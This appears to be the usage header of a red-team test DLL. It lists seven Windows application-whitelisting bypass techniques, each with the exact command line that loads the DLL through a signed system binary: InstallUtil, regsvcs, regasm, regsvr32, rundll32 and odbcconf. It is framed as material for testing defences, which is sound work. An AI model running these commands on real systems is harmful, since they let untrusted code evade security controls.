For Testing Binary Application Whitelisting Controls

Includes 7 Known Application Whitelisting/ Application Control Bypass Techniques in One File.
1. InstallUtil.exe
2. Regsvcs.exe
3. Regasm.exe
4. regsvr32.exe
5. rundll32.exe
6. odbcconf.exe
7. regsvr32 with params


Usage:
1.
    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
2.
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll
3.
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll

4.
    regsvr32 /s /u AllTheThings.dll -->Calls DllUnregisterServer
    regsvr32 /s AllTheThings.dll --> Calls DllRegisterServer
5.
    rundll32 AllTheThings.dll,EntryPoint

6.
    odbcconf.exe /s /a { REGSVR AllTheThings.dll }

7.
    regsvr32.exe /s /n /i:"Some String To Do Things ;-)" AllTheThings.dll

8.  Export DllGetClassObject
